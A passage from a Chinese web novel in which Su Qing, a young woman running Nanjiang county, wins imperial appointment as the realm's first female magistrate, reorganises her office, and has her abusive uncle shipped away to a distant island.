等饭吃的差不多了,苏清才道:“齐内官,我还有一事相求。” “就是想问问,朝中对南江县新县令人选,可否定下。” 这不是什么大事,齐内官随口答:“还没有,你这地方好,想来的人太多了。” 朝中派系纷杂。 都想过来。 苏清立刻道:“那就是说,南江县作为后勤中转地的事,已然定了。” 否则不会说这地方好。 毕竟再好,也就是县而已。 除非升级为后勤中转的地方。 所有运往前线的物资,都会途径此处。 那就不同了。 齐内官喜好聪敏之人,听此也愿意多说,点头道:“是了,总兵亲点,已然定下。” 这个总兵还真是给她找麻烦。 收购药材的事帮不上忙,还让南江县变为香饽饽。 真烦人啊。 “对了,总兵还说,他想让你当南江县县令。” 什么?! 苏清顾从斯震惊。 这件事,他们却是不知道的。 “你们不知道也正常,总兵就是三皇子,他做事谨慎,若事情没成不会乱说。” “所以南江县县令人选之一,也有你。” 苏清顾从斯对视一眼,立刻道:“那依齐内官看,小女子有几成胜算。” 齐内官说话破直:“不足一成。” “总兵虽是陛下亲弟,但鞭长莫及,还是京中官员举荐之人,胜算更大。” 这顿饭吃的,心思百转千回。 虽听到不到一成的胜算。 苏清却仍不肯放弃,等屏退左右,只剩齐内官跟她时,苏清开口道:“齐内官,那人选之一里,有您的人吗。” 或者说,有齐内官余内官一党的人吗? 齐内官面色微冷:“这不是你能知道的。” “军中后勤是肥差,所以余内官屡遭变故。” “但不管怎么样,您还是来了。” “既然这样,其他朝臣,必不会让您这边的人,再当南江县县令。” 后勤有个齐内官,政敌必然很不爽了。 这么近的地方,再来个齐内官的人。 这里岂不是他们的一言堂? 别说政敌不允许。 皇上太后也不会允许。 为了平衡。 那南江县新县令,必是齐内官不喜之人。 见自己说对了。 苏清继续道:“齐大人,倘若南江县县令是我苏清。” “我或许不会成为您的助力,却也不会成为您的障碍。” “我的为人,您应当有所了解。” 齐内官止住脚步,紧紧盯着苏清。 不得不说。 苏清的话,实在让他心动。 苏清说的没错,皇上太后以及那些清流,必不会让他们的人,再来这里做官。 来人定会极为讨厌。 他管着后勤,中转地却是政敌。 不用想,就知道会生出多少麻烦。 换做苏清。 倒是不错。 她对此地熟悉,本地百姓爱戴,政务处理的也不错。 更别说,她与京城毫无瓜葛,说不定只能依附他们。 怎么看。 都是苏清最合适。 苏清笑:“齐内官,我现在有几成胜算了。” “五成。”齐内官缓缓道,“七月之前,消息会下来。” “倘若成了,苏县令可不要忘记这路如何来的。” “必不敢忘。” 齐内官一行离开南江县,过江去对岸。 只留苏清远远看着江面。 明日便是六月初一。 接下来的一个月里,将会决定她是不是南江县的县令。 但京城那边,她一点关系也没有。 能做的,似乎只有等待。 没关系,齐内官他们,或许比她更急。 还有那个一直不回信的总兵。 你能不能再上书啊。 而且你做好事不留名的吧? 这么好? 想到自己之前还偷偷埋怨他,现在赶紧闭嘴,又给伤兵送了些鸡蛋吃食。 大家好好补补,算是她的报答了。 送走齐内官,苏清心情大好,龙颜小悦一下。 药材的事解决了。 小命保住了。 还有可能做县令,心情能不好吗。 苏清笑眯眯的,顾从斯看的也高兴,有心再提定亲的事。 却见苏清盯着前面。 往日花孔雀一般叶山鸣,此刻难得目不斜视,装作没看到码头上的两人。 “怎么?回家啊。”苏清才不会放过这个好机会。 “想让我做你家掌柜?一万八千两可不够。”苏清拿过叶山鸣的扇子,打量一番,“叶公子你说呢?” 叶山鸣也不着急了,抱怀道:“那好吧,我家在江南还有上千铺子,都给你做。” “只做掌柜可不行,要做内掌柜。” 掌千家铺子,内掌柜,便是叶少奶奶。 顾从斯拉住苏清手腕,上前一步。 叶山鸣笑了,歪头去看苏清:“怎么样,心动吗?” 苏清翻了个白眼,却道:“你要回家?先别走,把你的礼物带走。” 礼物。 顾从斯这次终于忍不住:“到底是什么礼物。” 苏清跟叶山鸣都笑。 还能是什么。 苏三叔呗。 苏清道:“怎么把他弄来了我不管,你把他带走,咱们就既往不咎。” 叶山鸣听此,反而严肃起来。 他逼着苏清做掌柜,这就既往不咎? 苏清把扇子还给他:“留得青山在不愁没柴烧,以后还是要做买卖的。” 好个聪明的女子。 叶山鸣大喜,当即道:“这会天色尚早,晚一会我就把礼物绑了走。” 苏清再道:“只绑他一个即可。另外两个留下。” 叶山鸣应下,不会又把扇子给了苏清:“拿着玩,缺钱就卖给叶家掌柜。” 这下不容她拒绝,扭头边走。 不要白不要。 苏清把扇子揣好,对上顾从斯的目光。 顾从斯道:“只绑走你三叔,你三婶对你似乎也不好。” “绑走三叔是因为他没用,三婶好歹能洗衣做饭。” 话是这么说,但看到苏三婶脸上乌青,一瘸一拐,顾从斯哪能不知道原因。 真把他们一家三口都绑走,扔到不知某地。 这母子二人,必死无疑,还是被苏三叔活活打死。 苏清是个极心软的人。 虽然她不承认。 就像她现在,亲自去找云喜,朱婶娘解释一样。 之前事发突然,事情又多。 她来不及解释认太监当干爹的事。 不过大家凭着本能的信任,苏清说什么,大家就做什么,从无一句多言。 顾从斯沉默跟着,云喜那边好说。 他的命都是苏姐姐救的,认个干爹而已,以后四时八节供奉即可。 再说,他还得了个玉佩呢。 苏清揉揉云喜脑袋:“过了这一阵,苏姐姐出钱,送你去县学读书。” “你这身份,以后还有大用,可不能不识字。” 云喜一个劲点头。 到了朱婶娘这里,情况则复杂些,梅娘也在旁边陪着。 其实余内官没了,齐内官再来。 朱婶娘大概知道为什么要认干爹。 这是为了保住他们所有人。 可这样做,似乎对不起老刘。 他泉下有知,不知会作何感想,这是他唯一的骨血。 幸好没改姓,不然朱婶娘也忍不了的。 谁料,苏清却道:“朱婶娘,如果给小妹刘绿兰改姓,能换的你们母女不分开,这值得吗。” 什么?! 朱婶娘想到娘家夫家的事,立刻道:“清清你的意思是?” 苏清对朱婶娘他们很有耐心,认真解释:“朱家跟刘家各有盘算,结果便是让你们母女分离。” “我之前写信,也只不过阻拦一时半刻,却长久不了。” “倘若我不当此地主事,他们更是会马上过来接人。” 到时候朱娘子跟小妹,只怕此生再难见面。 若是这般。 那不如让朱娘子去死。 “现在好了,小妹有个京中的干爹。” “他干爹虽不在,好友同僚却是极多极有势力的,就拿齐内官来说,小妹喊一句齐叔,便是她的依仗。” “若是朱家刘家再来,让他们只管找齐内官即可。” 他们敢吗?! 自然不敢。 朱家想在再嫁女儿朱娘子,也要掂量掂量内官的势力。 刘家?那小妹已不是刘家人了。 而且齐内官,也不会看着自己兄弟的干女儿没有母亲照料。 朱娘子明白过来,当下要磕头:“别说给小妹改姓,就算改名我都认了。” “老刘在地底下,都不会反对!” 他们最疼唯一的女儿了。 只要小妹过得好,两人怎么都行的。 梅娘抹着眼泪,搂着朱娘子又哭又笑:“现在好了,不用担心你们离开,也不担心你们分开了。” “我去拿纸笔写信,将此事赶紧告知朱家刘家,让他们不再惦记。”顾从斯开口道。 等顾从斯离开。 梅娘眼睛亮了,朱娘子也好奇道:“都说顾秀才想定亲,真的假的?” 啊? 这种时候,说这种话吗。 苏清看向梅娘期盼的目光,一时说不出话。 梅娘高兴道:“我跟你爹那会,就是这般情况,等你爹高中,我们就成亲了。” “顾秀才虽沉默了些,但人品俱佳,你爹也满意的。” “只要你们能定下,我也就开心了。” 见梅娘一脸期待,苏清想拒绝的话,也说不出口。 她要怎么说? 说顾家跟苏家不同。 苏家不会悔婚,但顾家却不好说。 毕竟想定亲的话,人家爹娘早就上门了,何必一拖再拖。 而且现在马上六月,距离秋闱也就两个月时间。 苏清对此并不介怀。 却有些怕梅娘难过。 “到时候就把你爹买的金头面做嫁妆。”梅娘话没说完,顾从斯止住脚步。 苏清下意识看过去,只见本就面容俊美的顾秀才眼睛亮亮地盯着她。 梅娘跟朱娘子又笑,扯了闲篇,赶紧写了信件,留苏清跟顾从斯相处。 “我先去公务。”苏清道,“麻烦终于解决了。” “但后半年还要种新药呢。” 说着,苏清快步离开。 必须找个时机说明。 要不等顾秀才考完试?毕竟马上秋闱,这个时候说出来,只怕对他不大好。 毕竟方才那眼神。 苏清摇摇头,还是赶紧忙吧。 等家里阻力显露出来。 希望顾秀才可以知难而退。 衙门前头,现在还在卖药材。 跟大家猜想的一样。 消息传开之后,药材根本不愁卖,还有人先送来书信,请南江县衙门预留。 给出的价格,自然没得说。 这般轻松的日子,苏清都觉得难得啊。 之前的麻烦事,统统都解决了! 等到当天晚上。 苏清顾从斯叶山鸣再次碰头。 叶山鸣带来几个好手,跟着苏清来到一间破旧酒楼。 角落有个人喝的烂醉如泥,正是苏清的三叔。 自他写了辞呈,又被狠狠责罚,早就在南江县抬不起头。 要么喝酒,要么骂苏清不尊长辈。 还说她做事太狠云云,只靠苏三婶浆洗衣服挣钱喝酒。 得知南江县要有新县令,还扬言要报复她。 可惜了,现在没这个机会了。 叶山鸣的手下将苏三叔麻利绑起来,直接带到即将离岸的船上。 苏清看着,沉默片刻:“还要再招些人手,时时巡查。” 叶山鸣赶紧道:“这是有你跟顾秀才跟着,才没有巡逻差役盘问啊。我是良民。” 说罢,叶山鸣道:“把他带到哪?听你的。” “越远越好。”苏清回忆一下,“岭南吧。” “不对,海口岛上。” “你家船只能到岛上吗。” 距离此地八千多里的海岛上? 叶山鸣有些牙酸,想到他那些手段,幸好苏清不介意:“到得了,岛上有我家买卖,到时候让人看着。” 苏清点头,目送叶山鸣离开。 叶山鸣扭头,看见她跟她未婚夫站在一起,怎么看怎么刺眼。 偏偏身边小厮还笑嘻嘻:“琵琶记还没演完呢。” 叶山鸣没给好脸:“把西洋镜拿过来。” 小厮赶紧去取。 叶山鸣又从船上下来,把精美无比的西洋镜递给苏清,认真道:“这是我的赔礼。” “即便想让你做叶家掌柜,也不该如此逼迫。” 等苏清接下,叶山鸣摆摆手道:“但你要是想当掌柜,一定要来找我。” “广乐府二十七家铺子,都听你的。” 苏清把玩片刻,笑着道:“走投无路,一定找你。” 等船只离开。 苏清还在看西洋望远镜,可惜夜色太深,看不太远。 “去伤兵处一趟。” “把这东西,经由周千户,送给总兵大人。” 虽说商贾都能买到的东西,军中肯定也有。 但不妨碍她做个人情。 顾从斯欲言又止,他本想说,不好收其他男子礼物。 现在闭嘴了。 原来另有用途。 果然,周千户看到西洋望远镜高兴道:“这可是好东西,只有前线将士那有。” “大家都抢着要呢。” “不过都没这般精美,很合适总兵大人。” “大人喜欢就好。”苏清看了看伤兵处,开口道,“这里还缺什么吗。” 路过的伤兵见到苏主事跟顾秀才连连打招呼,自己都道:“什么都不缺,天天吃了睡睡了吃!” 苏清好笑道:“养伤嘛,都这样。” 苏清又写了封信,托周千户带给总兵。 这些事忙完,夜色已经深了。 她跟顾从斯慢悠悠回衙门休息。 而此时前往京城的快马上,有两封信件。 其中一封是齐内官亲笔,让他们的人,支持苏清做此地县令。 还有一封,是刚下战场的总兵,写给自己的亲哥,也就给皇上的信。 他依旧坚持,推举苏清为南江县县令。 非她不可。 苏清做本地县令的胜算,已然从一成,逐渐升为十成。 顺昌国,要有第一位女县令了。 第26章 六月份的天气,正是日头晒的时候。 苏三婶在太阳地里走了好几回,终于找到机会跟梅娘攀谈。 “孩子他爹不知道去哪了。”苏三婶一脸麻木,“四五日没见到,二嫂,能不能让清清帮忙找找。” 寻常人家的男人消失一两日,妇人便着急地不行。 她家丢了五日,这才来寻。 梅娘惊讶,点头道:“好,我跟清清讲一下,晚一会给你消息。” 苏清听了这事,跟顾从斯对视一眼,两人没有半点心虚。 “捕快差役巡逻的时候问问情况,看有没有人见过他。” 得来的结果,自然是没见到。 毕竟这人,已经被叶山鸣绑到船上,现在不知道到哪了。 这事是苏清指使的,她焉能不知。 找了两日后,实在寻不到人影,直接报了失踪。 不过有苏三叔逃跑的前科在,谁也没觉得这是要紧事。 说不定又逃跑了呗! 消息送到苏三婶这,苏清明显看到,她脸上闪过一丝轻松。 那七八岁的苏三婶儿子苏溪同样的松口气。 他瘦小得厉害,去年跟着爹娘奔波,今年被打的左手有些僵硬,谁看了不叹口气。 母子被苏三叔日日打骂。 那人离开了,日子反而松快。 之前苏三婶对苏清等人确实暗暗咒骂,此刻也不敢了,连连感谢。 苏清想了想道:“你们也不用搬出衙门,给苏溪攒点读书用的笔墨费,八九月份县学招生,让他去读书吧。” 苏三婶眼中带着激动,眼看苏清要走,赶紧道:“对不住。” “之前,对不住。” 苏清自不会计较这些,摆摆手离开。 苏三叔消失的消息。 还是在衙门引起风波。 主要这人善于逃跑,他是不是知道什么事,所以要跑啊? 但要说现在的南江县衙门。 唯独有一件事,让他们心烦。 那就是人人都知道的。 南江县要成为后勤中转地,成为一个油水极大的香饽饽。 故而有新县令要接手。 “战后重建的时候不过来,疫病没粮的时候不过来。” “现在修的房美屋善,他们来摘桃子了。” “对啊,甚至连药材都卖出去了,如今衙门不仅不缺钱,还有不少库银。” “下半年还有两万新药田,这都是大大的政绩啊。” 提到新县令,衙门上下,乃至南江县各家百姓,全都怨声载道。 可大家又知道。 苏主事身为女子,唯一的机会也在余内官死后消失。 县令的位置,跟她无缘了。 “凭什么,广乐府十七个县,哪个县的县令,比得过我们主事?” 感叹过后,衙门三班六房的代主事们,更是垂头丧气。 之前事情多,大家都来不及思考。 如今麻烦都解决了,难免想到自己的前程。 等新县令一来。 他们这些所谓的代主事,肯定会被换成新县令自己人。 唯一能幸免的,便是武捕头,可他也要从武总捕头,降职为捕头啊。 甚至各房书吏差役,也在为前程担心。 在苏主事手下做事,差事是多了些,但做的时候却极开心。 毕竟每一件事,都对本地有利,哪个百姓不交口称赞。 他们读的圣贤书,还被他们实现了,这种感觉,实在难以形容。 更别说,衙门穷的时候就算了。 但凡有钱,便记挂每一个人,上到代主事,下到最低等的跑腿小厮,人人都有额外的俸米腊肉。 有些地方官吏还需要从百姓那抠油水。 他们这里,只需办好自己差事即可。 谁又是真正的恶人,不做恶事,就能养活一家老小,谁不愿意呢。 想到苏主事离开,这样的日子荡然无存,大家难免苦笑。 只是看到苏主事面色如常,似乎根本不在意以后如何,倒让大家奇怪。 “主事,您一点也不担心吗?” 苏清有些小道消息,自然没那么忧心。 但事情还未尘埃落定,她不会直接说出来,以免空欢喜一场,只道:“就算不做官了,也可以做别的。” “实在不行,我就去开家生药铺。”苏清开玩笑道。 她在说玩笑话,手下众人却打起精神。 好啊! 倘若苏主事开药铺,那他们是不是能去当掌柜伙计?! 以主事的本领,不出三年,必然能做南江县第一生药铺老板! “那我给您当伙计。” “我给您跑腿啊。” “我们可以算账的。” 苏清好笑又无奈,还对小费书吏道:“你添什么乱,明年必开童试的,你还是去准备考试吧。” 小费立刻道:“我要是考不上,就给您当账房。” 罗户房翻个白眼:“我还在呢,轮得到你。” 这么一打岔,笼罩在衙门上下的乌云终于散开。 附近百姓也发现了,差役书吏们不再愁眉苦脸。 得知苏主事早有打算,周围人也为他们高兴啊。 “苏主事开药铺的话,那我们种的药材全都卖给她,赊账也行。” “对,我家临街还有两处铺子,低价出租。” “不就是什么县令,咱们不稀罕做!苏主事做什么都会成功的。” 苏清听到云喜绘声绘色传话,笑的不行。 谁料回到后宅,梅娘也说,她跟朱娘子准备去租个清静点的宅子。 新县令一来,她们就能搬家。 苏清挠头。 真没那么紧张。 就算人家来了,她再找房子也行啊。 众人热热闹闹商议以后如何过活时,苏清终于收到军中总兵的回信。 从军中迟迟不来收药材开始,到最后一次送西洋望远镜,苏清一共送去四封信。 总兵这封信里,一一回复了。 头一份说明他们这的情况,还提苏县令。 总兵答:“至今不忘苏县令为国捐躯。” 第二三份则请求总兵帮忙,让军中通融收药材,以及说明余内官生前身后事。 总兵答:“看到信时已晚,某不堪托付,致歉。” 又道:“苏县令可为天下县官楷模。” 最后一封道:“西洋镜极好,多破费,于军中有大用,多谢。” 信件后面,还有一句杜牧的诗。 用他那铁画银钩的字迹写出来,更显气势。 “狂风落尽深红色,绿叶成阴子满枝。” 苏清念出来,笑道:“杜牧的《叹花》。” 这让顾从斯有些诧异。 苏清心道,我又不是九漏鱼啊,这首《叹花》还是知道的。 此诗句大意是,不要觉得春天已经过去,也不用惆怅芬芳不在。 狂风把深红色花朵吹落,现在绿叶挂满枝头,很快就会到收获的季节。 辛苦耕耘,一定会有所收获。 实在是好诗。 正契合她的情况。 以这位总兵的谨慎,不会在暗示什么吧? 若是暗示,未免太隐晦。 苏清不再多想,只让龚兵房等人好好安置新来的伤兵。 他们南江县陷入混乱时。 前线打了几场硬仗,现在伤员极多。 好在都是胜仗,还是很提气的。 这种时候,周千户便无比感激苏主事,感激她给了伤兵们休息的地方,还安排人手照料。 周千户认为,军中将士,尤其是总兵大人,只会更感激。 要说衙门差役们的惆怅。 何尝不是他们这些将士的担忧。 换了新县令。 还会这般照顾他们吗。 还会时不时送来各种肉食鸡蛋,让伤员们快些恢复吗。 周千户苦笑。 总而言之,南江县需要苏清的人实在太多了! 谁都不舍得她离开这个位置。 若能联名上书,那万民伞能送上百把! 就在众人已经做好,苏主事离任的准备时,京城那边终于传来消息。 广乐府新知府,新学政,以为各种补缺,会在七月之前到任。 皆是各项差事,诸如秋税,秋闱等事,都会捡起来。 让下面各县官员,备考学子等等最好准备。 从去年三月开始,广乐府便是没有知府的状态。 现在终于有当家人了! 对于南江县,甚至其他各地县令来说,都关注另一个问题。 苏清怎么办? 本地人是担心,其他县令这是看热闹。 毕竟这一年多里,各地百姓,总是把他们跟一个女子做对比。 现在好了吧,花无百日红。 你到底是个女的,能力强也要下去,换个堂堂正正的男子汉过来,还是考过科举的那种。 能力,从不是当官最要紧的一件事。 可京城那边的消息,却让所有人大吃一惊。 “皇上特许,南江县原苏县令之女苏清,为此地县令。” “苏县令为国捐躯,尽忠而死。长女苏清代掌南江县,能力颇佳,照拂百姓,兼顾伤兵,有先父遗风。” “望天下官吏以此为表率,钦此。” 反正皇上的圣旨总结下来,就是这些话。 原苏县令怎么没的? 死守粮仓,死守城门。 被叛军刺死,挂在城楼上。 苏清是怎么代掌南江县的,更不用说。 跟广乐府其他地方,甚至广乐府知府比起来,他们父女两个,必是天下典范。 不嘉奖他们,不把他们树为楷模,那才不应当! 女子? 女子怎么了。 如此危急时刻。 这更是天下士大夫的典范! 就是要让她这个女子,当本朝第一位女县令! 苏清跟顾从斯同时想到总兵大人回信。 原来不止最后那诗句是暗示。 全篇都在暗示她啊! 天大的好消息砸到南江县百姓头上,砸到本地官吏的头上。 所有人都茫然无措,恨不得掐自己这一下。 真的吗? 真的吗?! 他们苏主事,成为新的苏县令了! 不会是做梦吧?! 来宣旨的太监笑着道:“真的真的,我们在京城都听过苏县令的美名呢,太后娘娘连连夸赞呢。” 南江县众人恨不得仰天大笑。 太好了! 这日子,终于有盼头了! 更有甚者,已经去买鞭炮庆祝。 可那鞭炮店老板,自己先放了一挂。 从码头到街道,从铺子到小店,到伤兵处。 再到各个村子。 百姓们甚至比苏清还要激动。 新的苏县令来了! 第27章 七月初九,正是好日子。 梅娘摆谢礼宴,帮着女儿苏清苏县令迎来送往。 不只如此,苏清身上的官服都是她置办的。 因有过经验,这一身浅绿鸂鶒纹样官服,做得格外精致,再有腰间特意打的素银腰带,更添几分稳重。 十七岁的苏清再踩一双官靴,别提有多精神。 苏清还背着手走了几圈,自己都笑了。 不过出门迎客时,极为稳重妥帖,她一双桃花眼带着笑,却让人不敢轻视。 毕竟这可是苏清。 顺昌国第一位女县令。 这般本事,不是常人能有的。 因是谢礼宴,来人自然都认识。 他们听说皇上钦点苏清为南江县县令,第一时间送礼。 梅娘有经验,能收的收,不能收的想办法还回去,再记好礼单,办场谢礼宴。 宴会就在衙门后宅。 本县各家大户乡绅,七家药铺掌柜大夫,还有各村村长里长。 再加上周围和信县,武寨县的同僚等等。 军中的周千户,齐内官手下都来了。 不过薛守备亲至,是苏清最意外的。 薛守备也是抽空过来,没待一会就要回去。 这种情况下也来赴宴,自是表示对苏县令的支持。 “咱们都是爽快人,不必多说的。”薛守备道,“也不用多送,为着北江县送来的伤兵,我都该再谢你的。” “只是如今的情况你也知道,前线需要人手。” 苏清微微点头,目送薛守备一行离开。 前线战事艰难,她自然知道。 希望接下来,可以顺当些。 苏清转身想回到宴上,正路过一处小园,便听到有人在揶揄顾教谕夫妇。 “等你家从斯考上举人之后也能做官,到时候你们一家双县令。” “女子做县令,本朝未有啊,你们顾家赚了!” 这语气之中带着调侃,自然不是什么好话。 而顾教谕夫妇的反应,正合他们的意,气得无言以对,让人看了场笑话。 等戏弄他们的人走了,顾教谕才怒道:“有辱家风,有辱斯文!” “咱们被笑话就罢,要是从斯被同窗同年笑话呢?!” 顾夫人直接道:“这婚事要赶紧退了,不能再拖下去。” “从斯的态度,你又不是不知道。” “明明之前一直不同意。自苏清去年伤愈主事,他就没有退婚的意思。” 不管是苏清散漫撒粮,还是排除他人意见赠药,不办县试等等。 他们儿子就没有退婚的意思。 近日来,更是想让他们去提亲,甚至想在乡试之前,就把亲事确定下来。 这才是他们夫妇两不去退婚的原因。 若能退,早就退了。 苏清一愣。 去年那会,顾从斯脸臭得厉害。 竟然也不想退婚? 看不出来啊。 至今最近这段时间。 苏清摸摸脑袋。 不是她自夸,她觉得顾从斯更没主动退亲的意思了。 “从斯最是孝顺,我以死相逼,他焉能不从?”顾夫人最后道,“不过等他乡试结束再说。” “省得影响他考试。” 顾教谕点头:“对,其他事都放放,还是乡试重要。” “不管考没考上,咱们都搬走。” 苏清放心了,你们两个要努力啊。 这省了她不少事,至少梅娘那关,她可以轻易过了。 到时候还能装哭,梅娘肯定先安慰她,也就没时间难过。 只是顾教谕要走。 又一件事让人发愁。 那就是南江县还要找新教谕。 不管顾家想法如何,做教谕还是合格的。 田县丞现在每日喝酒,不少人都快把他忘了。 主簿典吏位置也缺着。 她三叔的辞呈,还是她批的。 现在还要提前找个教谕。 苏清绕路回宴会上,满脑子都是衙门人事安排。 她既做了官,手底下人自不会亏待。 像武总捕头,以及他手下三位捕头。 六房代主事等等。 这些本是代任,如今都能转正。 通俗点说,他们都会成为正式工,全部正式入编。 除此之外。 县里还要额外再设两个部门。 一个为漕运司,主管码头航路通畅,确保停靠船只调度,以及清淤等杂事。 第二个是医学训科,主管本地各类药局,以及培训医护人手。 这两项虽为杂职官,却对如今的南江县十分重要。 必须认真挑选。 不算就罢了。 这算起来,衙门又要招人。 苏清婉拒手下递来的酒水,只喝茶。 小费书吏凑过来道:“县令大人,您怎么皱着眉啊,有什么不开心的事吗?” 苏清看着小费一脸担忧,忍不住道:“可惜了。” 可惜什么? 顾从斯走过来,看着苏清。 “可惜你明年要考秀才,不能继续做书吏。否则你可以去管漕运司。” 啊?! 费开宇差点说:“我不考了!我去做漕运司主事!” 当然,这不太能行。 毕竟只有考了科举,方有大前途。 顾从斯倒是问:“漕运司?” 苏清点头,见看过来的人不少,干脆道:“明日衙门开大会,一一详说。” 苏清掌事,很少有开“大会”的情况。 其实就是主事的人都去,肯定有重要安排。 武捕头夫妇两个脸上带了惊喜。 六房代主事们也看过来。 苏清好笑道:“是你们想的那个事。” 全都转正吗! 他们想的,只有这个啊! 苏清肯定道:“我怎会食言。” 众人愣了片刻,随即极为高兴。 太好了! 虽然知道苏县令不会亏待大家。 但听到确切消息,还是兴奋啊。 本以为不会那么快,但苏县令是谁的,她办事之利落,无人能及! 衙门官吏的兴奋之情溢于言表。 让其他客人看得眼热。 七家药铺掌柜大夫也是如此,不过苏清额外对白大夫,郝大夫道:“明日你们也来吧。” 啊?! 他们两个? 忽然被点名的两人傻眼了。 你们衙门集体转正升官,跟大夫有什么关系。 不会吧。 你们也要进衙门吗?! 苏清请两位大夫,自然是为了医学训科的开设。 两位人品没得说,照顾士兵也有头功,此事自然优先他们。 而此时,两人虽不知所为何事,却明白苏县令不会害他们。 至于其他人羡慕的眼神,他们照单全收,还假意推迟:“哪有哪有,没那么看重。” 实际上,心里早爽翻了! 永晟二年,七月初十。 南江县衙门三班六房各位主事,终于把代主事的代给去掉了。 手底下非正式书吏,也上了衙门名册簿,是顺昌国正式官吏。 除了像费开宇这类还要科举的书吏之外,其他人皆有变化。 顾从斯更不用说,他本就没有担任职务,也不用再说。 变化最大的,还是原本的罗户房升为罗主簿。 他既为主簿一职,暂时兼任户房主事,等找到合适的人手,再卸任即可。 还有龚兵房升为龚典吏,接替了苏三叔的职位。 管着本地民兵,团练等差事。 兵房主事,则由他手下王龙担任。 三人眼睛都亮了。 平日用心办事,就是有好处啊! 他们之前是最忙的,尤其在药材出问题后,整宿整宿地想办法。 这些事都被苏县令看在眼中! 该转正的转正,该升迁的升迁。 漕运司,医学训科,两个新设的部门。 前者没有合适的人。 后者则由白大夫为正主事,郝大夫为副主事,余下书吏再招。 白大夫跟郝大夫两人一脸震惊。 如今南江县二万九千亩药田,谁不知道本地药局要起势? 还有伤兵越来越多,需要的医护人手也多。 这两项事给到他们,简直是天降鸿运啊。 此事哪有不应的,两人立刻拜谢。 衙门正堂之上,气氛热得能突破天际。 人生之快事,莫过于此啊! 就说跟着苏清苏县令没错吧?! 换了其他人过来,哪有这般好日子。 顾从斯看了看欢呼雀跃的官吏,再看了看苏清。 却发现她眼神中只有冷静跟审视。 片刻过后,苏清抬手,让众人静下来。 只见她缓缓起身,指了指头上的匾额。 这是她新换的匾额。 上面写着四个大字。 “守令爱民。” 苏清背着手道:“此话出自哪里。” 顾从斯答:“守令爱民须表里,君其为纬我为经。是冯伯规的诗。” 费开宇背诵了全文。 和茕祷雨储精诚,便觉丰年遍远坰。 缫茧齐头丝卷白,插秧随手稻翻青。 行篘秫酒酣天禄,益长香芽发地灵。 守令爱民须表里,君其为纬我为经。 这首诗很好理解。 “百姓们辛勤劳作,祈求丰收,他们确确实实做到了。”苏清道。 “那官员们有没有做到守令爱民呢。” 百姓做了那么多。 诚心祈雨,纺织耕种,只为丰收。 官员需要做的守令爱民,做到了吗。 只有做到了,才能一个为纬,一个为经,织成一幅大美画卷。 原本躁动的公堂彻底安静。 不是苏清要扫兴。 而是升官发财固然好。 却也不要忘了,他们之前这个没有官吏的衙门,是如何撑起来的。 她是给百姓施粥赠药了。 但百姓跟着她去抢粮,难道就没有贡献? 后面她说要种药材,那么多百姓帮忙。 难道是她跟衙门众人亲自播种,亲自施肥浇水的吗? 更别说药材出问题时。 到底是谁,一步步来到衙门,让他们渡过这次难关。 她这个顺昌国第一位女县令如何来的? 只靠她的能力吗? 不见得吧。 你们的官职是如何升的。 似乎更好理解了。 唯有“守令爱民”四个字,方是答案。 原本因为升官兴奋的众人,慢慢抬头,看着这四个字。 有些东西,似乎在缓缓回来。 对啊,如今做了正式的官员,难道就可以享乐。 倘若这样的,岂不是跟其他地方官员一样吗。 南江县发展至今,成为朝廷钦点的后勤中转地。 不是靠着发官瘾做来的。 不少人犹如当头棒喝,不免有些羞愧。 天知道,他们最初来衙门的时候,只求能让家人吃饱饭。 如今竟忘了,还想好好放松呢。 “不可能放松的。”苏清笑眯眯道,“谁若是不守律法,不顾百姓。” “本官必会严惩不贷。” “我苏清,说到做到。” 费开宇等书吏看的眼睛发亮。 苏县令,苏县令就是他在圣人书里看过的官员典范。 这辈子有这样的启蒙上司,他此生无憾。 顾从斯缓缓握紧手指,心跳得比平时都快。 苏清。 怎么会有苏清这样的人。 他眼底情绪愈发浓厚,这样的人,竟是他的未婚妻。 他何其有幸。 苏清已经坐下,恢复平常的笑容:“新添的两万亩药田情况如何?” “若有对漕运熟悉的人手,可以推举过来。” “还有户房主事,有意者来寻我。” 一连串差事吩咐下去。 公堂气氛恢复了些。 但所有人看到苏清苏县令头上的四个大字,都会紧紧精神。 不要当贪官污吏啊! 他们苏县令真的不会手软! 跟她耍小聪明,在她面前欺压百姓? 想死早点说! 不要拖累他们! 守令爱民。 他们都记住了!—— 作者有话说:明天会晚点更新,感谢大家订阅,爱你们 第28章 南江县衙门恢复正常运转。 广乐府府城,情况也差不多。 空置一年的知府,学政等职位,终于补上空缺。 下面十七县县令虽不能赶到,却都送了祝贺文书。 府城做的头一件事,便是颁布乡试照常举行的政令。 让各县秀才做好准备。 需在八月二十之前抵达府城,八月二十二正式考试,为期三天时间。 消息一出,广乐府秀才生员们欢悦,急呼新知府新学政嘉谋善政,高瞻远瞩。 南江县自然也接到文书。 苏清让顾教谕处理此事,通知在名册上,且符合条件的秀才,最迟八月十六出发。 “出去考试路费颇多,衙门给每位秀才贴银二两,以资鼓励。”苏清道。 顾教谕颇有些惊愕。 苏清竟这般大方了。 她对科举不是不上心吗。 苏清见他不答,继续道:“尽快统计出名单,还要报给府学。” 就是提前整理出考生名单,做好准考证。 她可不希望出现名单不对劲,准考证忘记带的情况啊。 顾教谕赶紧答是,又看了看旁边的儿子顾从斯。 苏清也看过去,开口道:“马上要开始,你还是回去备考吧。” 在七月初那会,苏清就说过这话。 让他不要在衙门待了,回去读书。 顾从斯却道:“再等等。” 苏清自然明白,她初当县令,到底跟主事不同,想着多个帮手。 不过到如今,顾从斯也没什么借口,只好点头:“你说的对,我去备考。” 见苏清并无留恋,顾从斯只好站出来。 两人一问一答,看的顾教谕牙酸,却又不好当众发难。 不过顾从斯还没走远,就听到费开宇毛遂自荐,欢快道:“大人,我可以接手顾秀才的差事,我还不用备考!” 他要等年底,再备考童试! 顾从斯扭过头去看,脸色自然不佳。 “考试重要。”顾教谕拉着儿子道,“考上举人,就万事不愁了。” 虽然顾教谕的万事不愁,跟顾从斯认为的不同。 但好歹劝了些,他紧紧盯着费开宇,也不知道有什么事,能笑的这么开心。 至于苏清。 她神色如常,只觉得多了个帮手,还不错。 所以,谁都行吗。 只要能帮到她,无论是谁站在她左右,都没问题。 顾从斯定了定,随后快步离开。 考上举人,便万事不愁。 他必须更有用才行。 不能只做随时可以被替换的书吏。 只有更好用。 苏清才会更看重。 就连小费都道:“大人,顾秀才好像想让您留他。” 毕竟是未婚夫妇啊! 一句话也不留吗。 小费不知道为何,竟然有点高兴。 在他看来,顾秀才有些配不上他们大人。 当然这话不敢说出来,毕竟人人都觉得顾从斯前途远大。 苏清开玩笑道:“有些人是留不住的。” 